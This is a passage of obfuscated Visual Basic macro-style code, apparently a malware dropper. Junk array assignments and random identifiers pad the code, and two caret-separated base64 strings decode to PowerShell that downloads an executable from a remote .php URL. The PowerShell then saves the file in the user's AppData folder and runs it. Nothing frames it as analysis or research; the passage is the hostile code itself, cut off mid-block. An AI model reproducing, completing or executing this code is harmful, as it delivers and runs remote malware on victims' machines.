  soieRaemeSoxAXOLnydyfadaXePegiZI(2) = Weekday(89158)
End If
soieRaemeSoxAXOLnydyfadaXePegiZI(3) = VarType(soieRaemeSoxAXOLnydyfadaXePegiZI)
VarType gOVoVIxEiekunOp
VarType amUbIribejbyduLABAHExAHIfUCEjE
Dim FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(4)
If "fANIWutfuJQEh" <> CStr("fANIWutfuJQEh2855") Then
   FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(0) = VarType(VarType(VarType("fANIWutfuJQEh")))
End If
FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(1) = CInt(CStr("#2855"))
VarType fANIWutfuJQEh
VarType FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ
If LenB(FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(1)) > 11 Then
  FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(2) = Weekday(28551)
End If
FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ(3) = VarType(FoBOiaBemADiFmFIbYnoBINoRySATeSONIZ)
Dim POBicYVOiyKaekigEWyRazIQinepYavuV(4)
If "cIxINErIjyBe" <> CStr("cIxINErIjyBe8910") Then
   POBicYVOiyKaekigEWyRazIQinepYavuV(0) = VarType(VarType(VarType("cIxINErIjyBe")))
End If
POBicYVOiyKaekigEWyRazIQinepYavuV(1) = CInt(CStr("#8910"))
VarType cIxINErIjyBe
VarType POBicYVOiyKaekigEWyRazIQinepYavuV
If LenB(POBicYVOiyKaekigEWyRazIQinepYavuV(1)) > 13 Then
  POBicYVOiyKaekigEWyRazIQinepYavuV(2) = Weekday(89107)
End If
POBicYVOiyKaekigEWyRazIQinepYavuV(3) = VarType(POBicYVOiyKaekigEWyRazIQinepYavuV)
If LenB(amUbIribejbyduLABAHExAHIfUCEjE(1)) > 13 Then
Dim juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(4)
If "tImaUhcYVLIwiTe" <> CStr("tImaUhcYVLIwiTe2320") Then
   juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(0) = VarType(VarType(VarType("tImaUhcYVLIwiTe")))
End If
juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(1) = CInt(CStr("#2320"))
VarType tImaUhcYVLIwiTe
VarType juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO
If LenB(juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(1)) > 12 Then
  juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(2) = Weekday(23206)
End If
juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO(3) = VarType(juWImUhAiuWoLIcIViFuCiwYCiUlUbYwoO)
  amUbIribejbyduLABAHExAHIfUCEjE(2) = Weekday(60107)
End If
Dim baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(4)
If "JadaaOtAqOGUS" <> CStr("JadaaOtAqOGUS652") Then
   baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(0) = VarType(VarType(VarType("JadaaOtAqOGUS")))
End If
baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(1) = CInt(CStr("#652"))
VarType JadaaOtAqOGUS
VarType baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe
If LenB(baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(1)) > 11 Then
  baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(2) = Weekday(6523)
End If
baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe(3) = VarType(baDeFIaAkihYkiwajisEcegRALyKYqipUnoSSOZe)
Dim lAbeKAfuciwNosivOJBudUduKoaocUmIno(4)
If "POcYfosofEbO" <> CStr("POcYfosofEbO2449") Then
   lAbeKAfuciwNosivOJBudUduKoaocUmIno(0) = VarType(VarType(VarType("POcYfosofEbO")))
End If
lAbeKAfuciwNosivOJBudUduKoaocUmIno(1) = CInt(CStr("#2449"))
VarType POcYfosofEbO
VarType lAbeKAfuciwNosivOJBudUduKoaocUmIno
If LenB(lAbeKAfuciwNosivOJBudUduKoaocUmIno(1)) > 11 Then
  lAbeKAfuciwNosivOJBudUduKoaocUmIno(2) = Weekday(24494)
End If
lAbeKAfuciwNosivOJBudUduKoaocUmIno(3) = VarType(lAbeKAfuciwNosivOJBudUduKoaocUmIno)
amUbIribejbyduLABAHExAHIfUCEjE(3) = VarType(amUbIribejbyduLABAHExAHIfUCEjE)
mexysEaISoWIvAkevodeojCUsExYhAVUGuf = "^A^G^o^A^Z^A^B^o^A^H^E^A^b^w^B^z^A^H^A^A^Z^A^B^q^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^E^8^A^T^A^A^v^A^G^4^A^Z^Q^B^y^A^G^" + Chr(100 + 10 + 5) + "^A^b^w^B^t^A^C^4^A^c^A^B^o^A^H^A^A^" + Chr(40 * 2) + "^w^B^" + Chr(100 + 10 + 5) + "^A^D^0^A^Y^g^B^l^A^G^U^A^c^Q^A^0^A^C^4^A^c^A^B^v^A^G^Q^A^I^g^A^" + Chr(100 + 10 + 5) + "^A^C^A^A^J^A^B^l^A^G^4^A^d^g^A^6^A^E^E^A^U^A^B^Q^A^E^Q^A^Q^Q^B^U^A^E^E^A^I^A^A^r^A^C^A^A^J^w^B^c^A^D^E^A^M^w^A^w^A^D^g^A^N^g^A^2^A^D^E^A^N^A^A^z^A^D^Y^A"
Dim aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(4)
If "aFuNiVAGOHe" <> CStr("aFuNiVAGOHe4004") Then
   aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(0) = VarType(VarType(VarType("aFuNiVAGOHe")))
End If
aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(1) = CInt(CStr("#4004"))
VarType aFuNiVAGOHe
VarType aiHEponEFATYdOPiXatUgigeKyBUleFJAaI
If LenB(aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(1)) > 13 Then
  aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(2) = Weekday(40044)
End If
aiHEponEFATYdOPiXatUgigeKyBUleFJAaI(3) = VarType(aiHEponEFATYdOPiXatUgigeKyBUleFJAaI)
Dim pIagEjEmajNYsAtLaTOcAtAVoKAV(4)
If "iIXAzAfEiedu" <> CStr("iIXAzAfEiedu491") Then
Dim rojoazifubasCeZIzuCAvuScU(4)
If "kYRijiZOFejOfyVeSOzYLL" <> CStr("kYRijiZOFejOfyVeSOzYLL5560") Then
   rojoazifubasCeZIzuCAvuScU(0) = VarType(VarType(VarType("kYRijiZOFejOfyVeSOzYLL")))
End If
rojoazifubasCeZIzuCAvuScU(1) = CInt(CStr("#5560"))
VarType kYRijiZOFejOfyVeSOzYLL
VarType rojoazifubasCeZIzuCAvuScU
If LenB(rojoazifubasCeZIzuCAvuScU(1)) > 10 Then
  rojoazifubasCeZIzuCAvuScU(2) = Weekday(55608)
End If
rojoazifubasCeZIzuCAvuScU(3) = VarType(rojoazifubasCeZIzuCAvuScU)
Dim HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(4)
If "weQakEWIwYNUL" <> CStr("weQakEWIwYNUL9618") Then
   HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(0) = VarType(VarType(VarType("weQakEWIwYNUL")))
End If
HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(1) = CInt(CStr("#9618"))
VarType weQakEWIwYNUL
VarType HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn
If LenB(HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(1)) > 11 Then
  HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(2) = Weekday(96181)
End If
HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn(3) = VarType(HuurizICUCOpoKOcugazejoCuzOhqUREIGIaUn)
   pIagEjEmajNYsAtLaTOcAtAVoKAV(0) = VarType(VarType(VarType("iIXAzAfEiedu")))
Dim FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(4)
If "wPyLuPUqaVaxEJEaAt" <> CStr("wPyLuPUqaVaxEJEaAt3404") Then
   FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(0) = VarType(VarType(VarType("wPyLuPUqaVaxEJEaAt")))
End If
FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(1) = CInt(CStr("#3404"))
VarType wPyLuPUqaVaxEJEaAt
VarType FJeTanApYfOcyfyiekUaoGikEriVIqaraDI
If LenB(FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(1)) > 11 Then
  FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(2) = Weekday(34042)
End If
FJeTanApYfOcyfyiekUaoGikEriVIqaraDI(3) = VarType(FJeTanApYfOcyfyiekUaoGikEriVIqaraDI)
Dim mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(4)
If "RaPVaWUiILuiyBoXLUJYrA" <> CStr("RaPVaWUiILuiyBoXLUJYrA9499") Then
   mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(0) = VarType(VarType(VarType("RaPVaWUiILuiyBoXLUJYrA")))
End If
mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(1) = CInt(CStr("#9499"))
VarType RaPVaWUiILuiyBoXLUJYrA
VarType mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi
If LenB(mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(1)) > 12 Then
  mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(2) = Weekday(94996)
End If
mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi(3) = VarType(mTEKUJYleHiwipYcAqyWNamUhUheqYGuGOVi)
End If
Dim JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(4)
If "biDaVroVigoVA" <> CStr("biDaVroVigoVA4253") Then
   JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(0) = VarType(VarType(VarType("biDaVroVigoVA")))
End If
JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(1) = CInt(CStr("#4253"))
VarType biDaVroVigoVA
VarType JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi
If LenB(JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(1)) > 11 Then
  JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(2) = Weekday(42531)
End If
JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi(3) = VarType(JvUtYWoPIKusENuXIqyfaKYFurEQehEaAi)
Dim haNyIZuTImaHOSazcawIPOPWaWAbitusy(4)
If "uAFegYwkuV" <> CStr("uAFegYwkuV7205") Then
   haNyIZuTImaHOSazcawIPOPWaWAbitusy(0) = VarType(VarType(VarType("uAFegYwkuV")))
End If
haNyIZuTImaHOSazcawIPOPWaWAbitusy(1) = CInt(CStr("#7205"))
VarType uAFegYwkuV
VarType haNyIZuTImaHOSazcawIPOPWaWAbitusy
If LenB(haNyIZuTImaHOSazcawIPOPWaWAbitusy(1)) > 11 Then
  haNyIZuTImaHOSazcawIPOPWaWAbitusy(2) = Weekday(72056)
End If
haNyIZuTImaHOSazcawIPOPWaWAbitusy(3) = VarType(haNyIZuTImaHOSazcawIPOPWaWAbitusy)
pIagEjEmajNYsAtLaTOcAtAVoKAV(1) = CInt(CStr("#491"))
Dim gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(4)
If "ZdiVUGysaFOqor" <> CStr("ZdiVUGysaFOqor4232") Then
   gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(0) = VarType(VarType(VarType("ZdiVUGysaFOqor")))
End If
gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(1) = CInt(CStr("#4232"))
VarType ZdiVUGysaFOqor
VarType gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud
If LenB(gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(1)) > 10 Then
  gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(2) = Weekday(42327)
End If
gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud(3) = VarType(gYnYDuhJyDAdurIHoFEaGyauGyCAHEcOWdYHud)
VarType iIXAzAfEiedu
Dim QoXadaiULUdGOVEWAGEHExUlUKiJY(4)
If "XYKIdEzOnuPyRykat" <> CStr("XYKIdEzOnuPyRykat4249") Then
   QoXadaiULUdGOVEWAGEHExUlUKiJY(0) = VarType(VarType(VarType("XYKIdEzOnuPyRykat")))
End If
QoXadaiULUdGOVEWAGEHExUlUKiJY(1) = CInt(CStr("#4249"))
VarType XYKIdEzOnuPyRykat
VarType QoXadaiULUdGOVEWAGEHExUlUKiJY
If LenB(QoXadaiULUdGOVEWAGEHExUlUKiJY(1)) > 12 Then
  QoXadaiULUdGOVEWAGEHExUlUKiJY(2) = Weekday(42492)
End If
QoXadaiULUdGOVEWAGEHExUlUKiJY(3) = VarType(QoXadaiULUdGOVEWAGEHExUlUKiJY)
VarType pIagEjEmajNYsAtLaTOcAtAVoKAV
If LenB(pIagEjEmajNYsAtLaTOcAtAVoKAV(1)) > 12 Then
Dim RycYrApGEhiaaCeQEsEFeFIQ(4)
If "vUiUhygEqkYweKeLoseRYI" <> CStr("vUiUhygEqkYweKeLoseRYI5163") Then
   RycYrApGEhiaaCeQEsEFeFIQ(0) = VarType(VarType(VarType("vUiUhygEqkYweKeLoseRYI")))
End If
RycYrApGEhiaaCeQEsEFeFIQ(1) = CInt(CStr("#5163"))
VarType vUiUhygEqkYweKeLoseRYI
VarType RycYrApGEhiaaCeQEsEFeFIQ
If LenB(RycYrApGEhiaaCeQEsEFeFIQ(1)) > 11 Then
  RycYrApGEhiaaCeQEsEFeFIQ(2) = Weekday(51637)
End If
RycYrApGEhiaaCeQEsEFeFIQ(3) = VarType(RycYrApGEhiaaCeQEsEFeFIQ)
Dim WysaTAwydlIbavWOjukuWoFIHuveCewem(4)
If "QIqYLISAVulOiBWYxy" <> CStr("QIqYLISAVulOiBWYxy2031") Then
   WysaTAwydlIbavWOjukuWoFIHuveCewem(0) = VarType(VarType(VarType("QIqYLISAVulOiBWYxy")))
End If
WysaTAwydlIbavWOjukuWoFIHuveCewem(1) = CInt(CStr("#2031"))
VarType QIqYLISAVulOiBWYxy
VarType WysaTAwydlIbavWOjukuWoFIHuveCewem
If LenB(WysaTAwydlIbavWOjukuWoFIHuveCewem(1)) > 12 Then
  WysaTAwydlIbavWOjukuWoFIHuveCewem(2) = Weekday(203110)
End If
WysaTAwydlIbavWOjukuWoFIHuveCewem(3) = VarType(WysaTAwydlIbavWOjukuWoFIHuveCewem)
  pIagEjEmajNYsAtLaTOcAtAVoKAV(2) = Weekday(4911)
End If
pIagEjEmajNYsAtLaTOcAtAVoKAV(3) = VarType(pIagEjEmajNYsAtLaTOcAtAVoKAV)
Dim bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(4)
If "KIwaxOlYtivEKuPedor" <> CStr("KIwaxOlYtivEKuPedor488") Then
   bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(0) = VarType(VarType(VarType("KIwaxOlYtivEKuPedor")))
End If
bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(1) = CInt(CStr("#488"))
VarType KIwaxOlYtivEKuPedor
VarType bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo
If LenB(bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(1)) > 10 Then
  bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(2) = Weekday(4881)
End If
bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo(3) = VarType(bOCotOFIvYkodEhebIbOmusOujEjataZIkEGEdupANo)
Dim mCeRApobygYPoGLYRoHIQenEVISONuCu(4)
Dim GETeSyDAhoKxiNoPEionEGuMuiOBu(4)
If "xAMewAiyPUnO" <> CStr("xAMewAiyPUnO4697") Then
   GETeSyDAhoKxiNoPEionEGuMuiOBu(0) = VarType(VarType(VarType("xAMewAiyPUnO")))
End If
GETeSyDAhoKxiNoPEionEGuMuiOBu(1) = CInt(CStr("#4697"))
VarType xAMewAiyPUnO
VarType GETeSyDAhoKxiNoPEionEGuMuiOBu
If LenB(GETeSyDAhoKxiNoPEionEGuMuiOBu(1)) > 10 Then
  GETeSyDAhoKxiNoPEionEGuMuiOBu(2) = Weekday(46979)
End If
GETeSyDAhoKxiNoPEionEGuMuiOBu(3) = VarType(GETeSyDAhoKxiNoPEionEGuMuiOBu)
If "rjOloZuRIgobQiaoqe" <> CStr("rjOloZuRIgobQiaoqe6010") Then
   mCeRApobygYPoGLYRoHIQenEVISONuCu(0) = VarType(VarType(VarType("rjOloZuRIgobQiaoqe")))
Dim SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(4)
If "CYkomyhWORIDEKOHaC" <> CStr("CYkomyhWORIDEKOHaC2475") Then
   SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(0) = VarType(VarType(VarType("CYkomyhWORIDEKOHaC")))
End If
SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(1) = CInt(CStr("#2475"))
VarType CYkomyhWORIDEKOHaC
VarType SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf
If LenB(SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(1)) > 10 Then
  SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(2) = Weekday(24751)
End If
SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf(3) = VarType(SErOFicoxiCYBeQedANARTOcAQEVBycuNYfElAf)
End If
mCeRApobygYPoGLYRoHIQenEVISONuCu(1) = CInt(CStr("#6010"))
Dim GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(4)
If "FRaZEbeTYCYmaResybi" <> CStr("FRaZEbeTYCYmaResybi7011") Then
   GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(0) = VarType(VarType(VarType("FRaZEbeTYCYmaResybi")))
End If
GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(1) = CInt(CStr("#7011"))
VarType FRaZEbeTYCYmaResybi
VarType GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo
If LenB(GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(1)) > 12 Then
  GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(2) = Weekday(70116)
End If
GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo(3) = VarType(GiXOmYpiwuRoWekYnEStUzYaERUzOWiHyJo)
Dim VuwUSPIZufeTESOngUfuWyfARo(4)
If "myBOBaKAvEZyNuGyDAHeGUa" <> CStr("myBOBaKAvEZyNuGyDAHeGUa2867") Then
   VuwUSPIZufeTESOngUfuWyfARo(0) = VarType(VarType(VarType("myBOBaKAvEZyNuGyDAHeGUa")))
End If
VuwUSPIZufeTESOngUfuWyfARo(1) = CInt(CStr("#2867"))
VarType myBOBaKAvEZyNuGyDAHeGUa
VarType VuwUSPIZufeTESOngUfuWyfARo
If LenB(VuwUSPIZufeTESOngUfuWyfARo(1)) > 11 Then
  VuwUSPIZufeTESOngUfuWyfARo(2) = Weekday(28671)
End If
VuwUSPIZufeTESOngUfuWyfARo(3) = VarType(VuwUSPIZufeTESOngUfuWyfARo)
VarType rjOloZuRIgobQiaoqe
VarType mCeRApobygYPoGLYRoHIQenEVISONuCu
Dim ainDiPAcEGaboHISUMewEpqujewOBEgI(4)
If "sEgoJEwUBIM" <> CStr("sEgoJEwUBIM899") Then
   ainDiPAcEGaboHISUMewEpqujewOBEgI(0) = VarType(VarType(VarType("sEgoJEwUBIM")))
End If
ainDiPAcEGaboHISUMewEpqujewOBEgI(1) = CInt(CStr("#899"))
VarType sEgoJEwUBIM
VarType ainDiPAcEGaboHISUMewEpqujewOBEgI
If LenB(ainDiPAcEGaboHISUMewEpqujewOBEgI(1)) > 12 Then
  ainDiPAcEGaboHISUMewEpqujewOBEgI(2) = Weekday(8997)
End If
ainDiPAcEGaboHISUMewEpqujewOBEgI(3) = VarType(ainDiPAcEGaboHISUMewEpqujewOBEgI)
If LenB(mCeRApobygYPoGLYRoHIQenEVISONuCu(1)) > 11 Then
  mCeRApobygYPoGLYRoHIQenEVISONuCu(2) = Weekday(60101)
End If
Dim tUmIFycocaCAcYiOcajEhieTexGo(4)
If "HiyaiNIaEtAmZYW" <> CStr("HiyaiNIaEtAmZYW1309") Then
   tUmIFycocaCAcYiOcajEhieTexGo(0) = VarType(VarType(VarType("HiyaiNIaEtAmZYW")))
End If
tUmIFycocaCAcYiOcajEhieTexGo(1) = CInt(CStr("#1309"))
VarType HiyaiNIaEtAmZYW
VarType tUmIFycocaCAcYiOcajEhieTexGo
If LenB(tUmIFycocaCAcYiOcajEhieTexGo(1)) > 13 Then
  tUmIFycocaCAcYiOcajEhieTexGo(2) = Weekday(13095)
End If
tUmIFycocaCAcYiOcajEhieTexGo(3) = VarType(tUmIFycocaCAcYiOcajEhieTexGo)
mCeRApobygYPoGLYRoHIQenEVISONuCu(3) = VarType(mCeRApobygYPoGLYRoHIQenEVISONuCu)

Dim gIcyQiXujQiFVYKUnuZovEQeCEN(4)
If "CYxyLerANoiy" <> CStr("CYxyLerANoiy4990") Then
   gIcyQiXujQiFVYKUnuZovEQeCEN(0) = VarType(VarType(VarType("CYxyLerANoiy")))
End If
gIcyQiXujQiFVYKUnuZovEQeCEN(1) = CInt(CStr("#4990"))
VarType CYxyLerANoiy
VarType gIcyQiXujQiFVYKUnuZovEQeCEN
If LenB(gIcyQiXujQiFVYKUnuZovEQeCEN(1)) > 10 Then
  gIcyQiXujQiFVYKUnuZovEQeCEN(2) = Weekday(49902)
End If
gIcyQiXujQiFVYKUnuZovEQeCEN(3) = VarType(gIcyQiXujQiFVYKUnuZovEQeCEN)
Dim keCwoxizUcALEToRiGuCeXyLazaDybobA(4)
If "REdijePIBoKixZiC" <> CStr("REdijePIBoKixZiC9734") Then
   keCwoxizUcALEToRiGuCeXyLazaDybobA(0) = VarType(VarType(VarType("REdijePIBoKixZiC")))
End If
keCwoxizUcALEToRiGuCeXyLazaDybobA(1) = CInt(CStr("#9734"))
VarType REdijePIBoKixZiC
VarType keCwoxizUcALEToRiGuCeXyLazaDybobA
If LenB(keCwoxizUcALEToRiGuCeXyLazaDybobA(1)) > 11 Then
  keCwoxizUcALEToRiGuCeXyLazaDybobA(2) = Weekday(97349)
End If
keCwoxizUcALEToRiGuCeXyLazaDybobA(3) = VarType(keCwoxizUcALEToRiGuCeXyLazaDybobA)

XINeSULaRYvAnegaVyaicInAzObOrUF = "^N^g^A^w^A^D^Q^A^L^g^B^l^A^H^g^A^Z^Q^A^u^A^G^U^A^e^A^B^l^A^C^c^A^K^Q^A^7^A^C^A^A^U^w^B^0^A^G^E^A^c^g^B^0^A^C^0^A^U^A^B^y^A^G^8^A^Y^w^B^l^A^H^M^A^c^w^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^c^A^X^A^A^x^A^D^M^A^M^A^A^4^A^D^Y^A^N^g^A^x^A^D^Q^A^M^w^A^2^A^D^Y^A^M^A^A^0^A^C^4^A^Z^Q^B^4^A^G^U^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^D^" + Chr(100 + 10 + 5) + "^A^R^Q^B^4^A^G^k^A^d^A^A^7"

Dim sNagOFeNurOCiucUZYhUweMI(4)
If "POZawOnOhIku" <> CStr("POZawOnOhIku7969") Then
   sNagOFeNurOCiucUZYhUweMI(0) = VarType(VarType(VarType("POZawOnOhIku")))
End If
sNagOFeNurOCiucUZYhUweMI(1) = CInt(CStr("#7969"))
VarType POZawOnOhIku
VarType sNagOFeNurOCiucUZYhUweMI
If LenB(sNagOFeNurOCiucUZYhUweMI(1)) > 11 Then
  sNagOFeNurOCiucUZYhUweMI(2) = Weekday(79694)
End If
sNagOFeNurOCiucUZYhUweMI(3) = VarType(sNagOFeNurOCiucUZYhUweMI)
Dim iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(4)
If "ieXxIqoQyBE" <> CStr("ieXxIqoQyBE2959") Then
   iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(0) = VarType(VarType(VarType("ieXxIqoQyBE")))
End If
iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(1) = CInt(CStr("#2959"))
VarType ieXxIqoQyBE
VarType iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja
If LenB(iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(1)) > 13 Then
  iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(2) = Weekday(29597)
End If
iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja(3) = VarType(iIJhyRekYMANEMuhIzMIiEMyOJumityFUWuPIjIja)
Dim nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(4)
Dim RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(4)
If "KIKAbAqUDAnuWRARA" <> CStr("KIKAbAqUDAnuWRARA6321") Then
   RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(0) = VarType(VarType(VarType("KIKAbAqUDAnuWRARA")))
End If
RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(1) = CInt(CStr("#6321"))
VarType KIKAbAqUDAnuWRARA
VarType RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe
If LenB(RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(1)) > 10 Then
  RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(2) = Weekday(63218)
End If
RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe(3) = VarType(RogiKOnOginohYLEruPigIVNFyTUfYKIJOWUvegYMe)
Dim rruiiiUDAbEZOKUpYBZEXOaqecqOTY(4)
If "myRHoCEiXiG" <> CStr("myRHoCEiXiG174") Then
   rruiiiUDAbEZOKUpYBZEXOaqecqOTY(0) = VarType(VarType(VarType("myRHoCEiXiG")))
End If
rruiiiUDAbEZOKUpYBZEXOaqecqOTY(1) = CInt(CStr("#174"))
VarType myRHoCEiXiG
VarType rruiiiUDAbEZOKUpYBZEXOaqecqOTY
If LenB(rruiiiUDAbEZOKUpYBZEXOaqecqOTY(1)) > 13 Then
  rruiiiUDAbEZOKUpYBZEXOaqecqOTY(2) = Weekday(1741)
End If
rruiiiUDAbEZOKUpYBZEXOaqecqOTY(3) = VarType(rruiiiUDAbEZOKUpYBZEXOaqecqOTY)
If "aATUTuMUHiFOaATep" <> CStr("aATUTuMUHiFOaATep1319") Then
Dim RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(4)
If "rAxydaEWyNO" <> CStr("rAxydaEWyNO9436") Then
   RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(0) = VarType(VarType(VarType("rAxydaEWyNO")))
End If
RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(1) = CInt(CStr("#9436"))
VarType rAxydaEWyNO
VarType RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO
If LenB(RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(1)) > 13 Then
  RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(2) = Weekday(943610)
End If
RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO(3) = VarType(RezIcEzyDezyraFuJyHbIdeXoWonJyPuqO)
   nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(0) = VarType(VarType(VarType("aATUTuMUHiFOaATep")))
End If
Dim MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(4)
If "XUHYBOaYTIgiii" <> CStr("XUHYBOaYTIgiii1050") Then
   MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(0) = VarType(VarType(VarType("XUHYBOaYTIgiii")))
End If
MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(1) = CInt(CStr("#1050"))
VarType XUHYBOaYTIgiii
VarType MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF
If LenB(MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(1)) > 10 Then
  MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(2) = Weekday(10506)
End If
MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF(3) = VarType(MEgYMUWaPibovIaOmihurMUrAViWyMAzAsneNODajOF)
nuJYveHucEQoBYHEGuDYHehYQygiQcAGdiCIiraG(1) = CInt(CStr("#1319"))
Dim quaQiaEQutYrUCegNUMEBEaaNilAV(4)
If "BAWYKZUqUxIaYQu" <> CStr("BAWYKZUqUxIaYQu4888") Then
   quaQiaEQutYrUCegNUMEBEaaNilAV(0) = VarType(VarType(VarType("BAWYKZUqUxIaYQu")))
End If
quaQiaEQutYrUCegNUMEBEaaNilAV(1) = CInt(CStr("#4888"))
VarType BAWYKZUqUxIaYQu
VarType quaQiaEQutYrUCegNUMEBEaaNilAV
If LenB(quaQiaEQutYrUCegNUMEBEaaNilAV(1)) > 13 Then
  quaQiaEQutYrUCegNUMEBEaaNilAV(2) = Weekday(48888)
End If
quaQiaEQutYrUCegNUMEBEaaNilAV(3) = VarType(quaQiaEQutYrUCegNUMEBEaaNilAV)
VarType aATUTuMUHiFOaATep
Dim FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(4)
If "DELOoSoPYvuGIgOiUt" <> CStr("DELOoSoPYvuGIgOiUt3302") Then
   FISYDeJEvojUmolOtUjZaaQAxulicIFOnKyTYPOJ(0) = VarType(VarType(VarType("DELOoSoPYvuGIgOiUt")))
End If
